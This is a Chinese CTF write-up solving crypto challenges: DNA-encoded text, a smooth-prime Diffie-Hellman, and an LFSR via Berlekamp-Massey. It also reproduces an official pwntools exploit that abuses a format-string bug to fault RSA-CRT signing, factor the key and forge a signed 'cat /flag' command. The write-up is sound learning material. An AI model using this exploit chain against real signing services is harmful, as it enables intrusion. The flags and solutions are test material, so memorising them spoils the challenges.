    d="".join(dna)
    
    return d

def dbp(d):
    bpd=[]
    bp={"A":"T","T":"A","C":"G","G":"C"}
    for i in d:
        bpd.append(bp[i])
    pd="".join(bpd)
    
    return pd

def mutation(d):
    case=random.randint(1,3)
    base=["A","T","C","G"]
    n=len(d)
    if case==1:
        t=random.randint(1,n)
        return d[0:t]+d[t+1:]
    if case==2:
        t=random.randint(1,n)
        b=random.randint(0,3)
        return d[0:t]+base[b]+d[t:]
    if case==3:
        t=random.randint(1,n)
        b=random.randint(0,3)
        return d[0:t]+base[b]+d[t+1:]

dna1=l2d(m) # m转化为DNA序列
dna2=dbp(dna1)

d3=[]
for i in range(10):
    dna3=mutation(dna2)
    dna3=mutation(dna3)
    d3.append(dna3)
print(d3)
    
"""
...
"""

很有新意的一道题，先把mes转为长整数 再把整数转为四进制 0,1,2,3分别对应A,T,C,G也就是碱基对，然后dbp函数就是对碱基进行互补配对，mutation函数呢则是对DNA片段进行突变，删去某一个碱基，在某一个位置加入一个碱基，在某个位置进行碱基的替换

给出了十条由mes转为的DNA片段进行两次基因突变后的结果，我们先分析长度

1
2
3
4
5
6
d3=[...]
leng=[]
for i in d3:
    leng.append(len(i))
print(leng)
# [137, 137, 134, 135, 136, 136, 135, 137, 138, 136]

简单分析可知，两次突变对长度的影响最多为4（两次删去或者两次增加），这里最小值是134，最大是138，可以确定原DNA长度是136

那么我们直接对比长度为134和138的片段

1
2
AGAGACTAGTAAGACACGCATCAACAAACATCTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACCA
AGAGAGCTAGTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCAGACTAACAAAGAAACTGAGAAAGATACACA

可知最长的链删去4个碱基就是最短的DNA链，假设这四个位置分别为t1,t2,t3,t4t_1,t_2,t_3,t_4 那么有两个位置是原本DNA链中存在的，我们写个脚本穷举分析就行，当然也可以考虑136长度的链来手撕，总是我们能获得原本链是

1
2
3
4
5
6
7
DNA2 = 'AGAGAGCTAGTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACCA'

DNA1 = dbp(DNA2)

print(DNA1)
print(long_to_bytes(d2l(DNA1)))
# flag{Mutsumi?Mortis!She_conquered}

木子米🥒😭😭😭

*Ez_DH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from gmpy2 import next_prime
from hashlib import sha256
import random

flag = b"flag{******************************}"
def get_weak_prime(nbits):
    while True:
        p1 = 2
        while p1 < 2**nbits:
            p1 *= int(next_prime(random.getrandbits(10)))
        p = p1 + 1
        if isPrime(p):
            return p  

p = get_weak_prime(512)
q = get_weak_prime(512)
n = p**11 * q**11

phiN = (p-1)**11 *(q-1)**11

g = 3
x = random.randrange(0, n)
X = pow(g, x, n)
y = random.randrange(0, n)
Y = pow(g, y, n)

key1 = pow(X, y, n)
key2 = pow(Y, x, n)
assert key1 == key2

key = sha256(str(key1).encode()).digest()

print(f'{n = }')
print(f'{X = }')
print(f'{Y = }')
print(AES.new(key=key,mode=AES.MODE_ECB).encrypt(pad(flag, 16)).hex())

分为两个部分，get_weak_prime函数中生成的是p−1p-1光滑的素数pp，我们对nn开11次方根就能得到pqpq,考虑Polard p-1分解

我们知道p−1p-1的素因子最多不超过2102^{10}也就是1024，我们就取这个B=2048B=2048就可以分解了

1
2
3
4
5
6
7
8
9
10
11
def pollard_pm1(nn, B=2048):
    a=2
    for i in range(2, B):
        a = pow(a, i, nn)
        d = gcd(a-1, nn)
        if d > 1 and d < nn:
            return d
            
nn = n.nth_root(11)
p = pollard_pm1(nn)
q = nn//p

求解出p,qp,q之后就是离散对数问题了，我们要处理

X  ≡  3x  mod  n X\;\equiv\;3^x\;mod\;n

转化到模两个大因子，即

X  ≡  3x  mod  p11 X\;\equiv\;3^x\;mod\;p^{11}

X  ≡  3x  mod  q11 X\;\equiv\;3^x\;mod\;q^{11}

找到这两个下满足要求的解xx就可以尝试打CRT还原出真正的xx ，参考这篇博客

模p^k的同余方程和离散对数求解_同余多项式与crypto-CSDN博客

这里的思路貌似无法在常规时间内跑通

不过官方解法给出了更简单的思路，虽然还未理解，姑且先记录下来

即构造进数域(p,11)(p,11)与(q,11)(q,11)在这两个域下离散对数变为连续对数，直接计算即可，代码如下

1
2
3
4
Rp = Zp(p, 11)
Rq = Zp(q, 11)
xp = (Rp(X).log() / Rp(3).log()).lift()
xq = (Rq(X).log() / Rq(3).log()).lift()

注意截断

考虑到这里gg并非模p11p^{11} q11q^{11}下的生成元 我们还需要转化到模p−1p-1，q−1q-1下来算一次

1
2
3
4
5
6
7
odp = p-1
R = Zmod(p**11)
x_mod_odp = discrete_log(R(X) ** (p**10), R(3) ** (p**10), ord=ZZ(odp))
odq = q-1
R = Zmod(q**11)
x_mod_odq = discrete_log(R(X) ** (q**10), R(3) ** (q**10), ord=ZZ(odq))

最后打一组CRT就可以解出来xx了

*lfsr2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3

# Native imports
import os
from secrets import randbelow
from typing import List

# Flag import

# Challenge classes
class LFSR:
    def __init__(self, seed: bytes, taps: List[int]) -> None:
        self.state = [int(i) for i in '{:0{n}b}'.format(int.from_bytes(seed, 'big'), n=8*len(seed))]
        self.taps = taps
        
    def Run(self, k: int = 1) -> List[int]:
        out = []
        for _ in range(k):
            new = 0
            for tap in self.taps:
                new ^= self.state[tap]
            out += [self.state[-1]]
            self.state = [new] + self.state[:-1]
        return out
    
class DuoLFSR:
    def __init__(self, lfsrs: List[LFSR]) -> None:
        self.lfsrs = lfsrs
        
    def Run(self, k: int = 1) -> List[int]:
        outs = []
        for _ in range(k):
            out = 0
            for lfsr in self.lfsrs:
                out ^= lfsr.Run(1)[0]
            outs += [out]
        return outs
    

# Challenge parameters
TAPS = [-1]
while len(TAPS) < 32:
    k = randbelow(8*len(FLAG) - 1)
    if k not in TAPS:
        TAPS += [k]


lfsrFlag = LFSR(FLAG, TAPS)
companion = b'\x00' * 38
lfsrCom = LFSR(companion, TAPS)
lfsrDuo = DuoLFSR([lfsrFlag, lfsrCom])


_ = lfsrDuo.Run(1337)
resp=lfsrDuo.Run(2**(8 - 1) + 2**(8 + 1))
resp = sum([j * 2**i for i,j in enumerate(resp)])
print(resp)

'''
3385542783645760843169141796990072952050445818408752623233283796965016469557790365462752786263921869045735450584497427293344944230226908565071000276404789429460231179110335090238333057815893800
'''

lfsr问题，我们来分析一下代码

类lfsr由初始态state和抽头taps构成，初始化的时候把传入的字符串转化为二进制01串作为初始状态state，每运行一轮，根据taps数组中的标示抽出对应的位数进行异或，再拼在当前state态的开头，所有位后移，把最后一位丢掉

这里又定义了一个Duolfsr类，即把多个lfsr拼在一起，独立的同时运行并且改变自己的状态，但是结果是它们所有结果的异或

注意到这里的lfsrCom元素初始state都是0，也就意味着抽头出来后异或的结果还是0然后任何输出和0异或也是本身，也就是说，这里的lfsrcom对结果没有任何影响，我们就当他不存在就行

然后分析流程，用flag对lfsrFlag进行初始化，然后生成一个32位的抽头Taps

接着空转1337轮，混淆一下，再转640轮，把这些01串输出为resp

题干提示了berlekamp-massey算法 这是一种求数列最短递推公式的算法，刚好可以运用在lfsr中

参考这篇博客

线性反馈移位寄存器（LFSR）和 Berlekamp-Massey 算法_线性反馈移位寄存器例题具体算法-CSDN博客

这里我们有一个640位长的生成序列respresp，要尝试去恢复这个304位的生成器（也就是找出taps）

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def berlekamp_massey(s):
    n = len(s)
    c,b = n*[0],n*[0]
    c[0],b[0]=1,1
    l,m,d = 0,-1,0
    for i in range(n):
        d = s[i]
        for j in range(1,l+1):
            d^=c[j]*s[i-j]
        if d == 1:
            t = c[:]
            p = [0]*n
            for j in range(n-i+m):
                p[j+i-m]=b[j]
            c = [c[j]^p[j] for j in range(n)]

            if 2*l <= i:
                l,m,b = i+1-l,i,t
    return [i for i ,bit in enumerate(c) if bit]

taps = berlekamp_massey(p)
taps = [i-1 for i in taps][1:]
# print(taps)
# [6, 13, 21, 26, 30, 35, 49, 72, 78, 81, 84, 98, 105, 123, 128, 136, 139, 158, 161, 171, 172, 173, 224, 231, 234, 250, 252, 255, 260, 269, 279, 303]

我们获得tags之后再逆1337次恢复seed

恢复过程中，我们知道，我们只需要关注最低位 最高位 和tags中的标记位数

我们需要先截取304位的输出，再把tags对应的标志位记为1 那么然后我们

  • 先记下来当前的最高位tmp（也就是lfsr中的最后一步，拼接最高位）
  • 左移所有位（逆右移过程）
  • 根据左移后（lfsr中右移前原本的状态）的tags计算反馈位res
  • 如果res不等于tmp 最低位置1

思路明确了，代码也很简洁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

def xor(state,taps):
    res = 0
    for i in taps:
        res^=state[i]
    return res

for i in range(1337):
    tmp=seed[0]
    for i in range(1,304):
        seed[i-1]=seed[i]
    seed[303]=0
    result = xor(seed, taps)
    if result!=tmp:
        seed[303]=1
        
seedstr = ''.join(map(str,seed))
print(long_to_bytes(int(seedstr,2)))

# flag{Use_Bm_tO_solve_the_Lfsr_problem}

Final

小睦的脑袋股股涨涨的

pwn&crypto

题目要你做的大致就是破解这个数字签名系统，然后给cat flag签名，成功的读取出来

在此先简述一下思路，是基于RSA-CRT加速版本的签名体系

ida分析给的运行文件，RSA生成的n,p,q存储在堆上，能发现存在后门9999 有一个格式化字符串存取漏洞

本地爆破偏移找到p,q的地址，可以用这个存取漏洞修改 p或者q的值，然后就能很轻松的构造出私钥了

受限于笔者自身实力还较为不足无法进行更细一步的复现

贴一下官方的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from Crypto.Util.number import bytes_to_long, GCD

#r=process("./challenge")
r=remote("127.0.0.1", 14520)
def choice(num):
    r.sendlineafter(b"> ", str(num).encode())

def get_pubkey():
    choice(1)
    r.recvuntil(b"n = ")
    n = int(r.recvline().strip())
    r.recvuntil(b"e = ")
    e = int(r.recvline().strip())
    return n, e

def injectFault(offset):
    choice(9999)
    sleep(0.1)
    r.sendline(str(offset).encode())
    sleep(0.1)
    r.sendline(b"%7$n")
    sleep(0.1)

def CallMortis():
    choice(114)
    r.sendlineafter(b"> ", str(0).encode())
    r.recvuntil(b"sign = ")
    sign = int(r.recvline().strip())
    return sign

def Execute(n,e,s,cmd):
    choice(2)
    m = bytes_to_long(b"ls -la /")
    p = GCD(pow(s, e, n) - m, n)
    q = n // p 
    assert(p * q == n)
    d = pow(e, -1, (p - 1) * (q - 1))
    sign = pow(bytes_to_long(cmd), d, n)
    r.sendlineafter(b"> ",cmd)
    r.sendlineafter(b"> ",str(sign).encode())

n,e=get_pubkey()
success(b"n=")
print(n)
success(b"e=")
print(e)

injectFault(-2413)

s=CallMortis()
success(b"s=")
print(s)

cmd = b"cat /flag"	
Execute(n,e,s,cmd)

r.interactive()

# flag{Go_to_tomorrow_A_beautiful_era_People_will_gradually_forget_and_everything_will_eventually_disappear}
# mutsumi.....

碎碎念

很感谢这次npcctf的出题师傅，虽然离完赛已经过去一段时间了，但是在此复盘还是有很大的收获，自己在LLL DLP等问题上也有了进一步的理解，希望明年参加的时候会是更强的自己吧